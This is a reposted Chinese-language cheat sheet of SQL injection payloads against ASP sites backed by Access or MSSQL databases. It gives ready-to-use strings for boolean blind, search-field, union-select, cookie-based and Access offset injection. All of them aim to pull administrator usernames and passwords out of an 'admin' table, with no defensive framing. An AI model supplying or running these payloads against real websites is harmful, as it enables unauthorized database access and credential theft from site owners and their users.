注意：对于普通的get注入，如果是字符型，前加‘ 后加 and ‘‘=‘
拆半法
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and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库，MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)
and exists(select id from admin)
and exists(select id from admin where id=1)
and exists(select id from admin where id>1)
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
and exists (select username from admin)
and exists (select password from admin)
and exists (select id from admin where len(username)<10 and id=1)
and exists (select id from admin where len(username)>5 and id=1)
and exists (select id from admin where len(username)=6 and id=1)
and exists (select id from admin where len(password)<10 and id=1)
and exists (select id from admin where len(password)>5 and id=1)
and exists (select id from admin where len(password)=7 and id=1)
and (select top 1 asc(mid(username,1,1)) from admin)=97
返回了正常，说明第一username里的第一位内容是ASC码的97，也就是a。
猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了
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搜索型注入
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%‘ and 1=1 and ‘%‘=‘
%‘ and exists (select * from admin) and ‘%‘=‘
%‘ and exists(select id from admin where id=1) and ‘%‘=‘
%‘ and exists (select id from admin where len(username)<10 and id=1) and ‘%‘=‘
%‘ and exists (select id from admin where len(password)=7 and id=1) and ‘%‘=‘
%‘ and (select top 1 asc(mid(username,1,1)) from admin)=97 and ‘%‘=‘
这里也说明一下，搜索型注入也无他，前加%‘ 后加 and ‘%‘=‘
对于MSSQL数据库，后面可以吧 and ‘%‘=‘换成--
还有一点搜索型注入也可以使用union语句。
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联合查询。
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order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
很简单。有一点要说明一下，where id=1 这个是爆ID=1的管理员的时候，where id=1就是爆ID=2的管理用的，一般不加where id=1这个限制语句，应该是爆的最前面的管理员吧！（注意，管理的id是多少可不一定哈,说不定是100呢！）
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cookie注入
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http://www.******.com/shownews.asp?id=127
http://www.******.com/shownews.asp
alert(="id="+escape("127"));
alert(="id="+escape("127 and 1=1"));
alert(="id="+escape("127 order by 10"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧，给出语句就行了吧。这里还是用个联合查询，你把它换成拆半也一样，不过不太适合正常人使用，因为曾经有人这样累死过。
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偏移注入
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union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
a.id=d.id)
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
转载自：http://tiwson.iteye.com/blog/1919349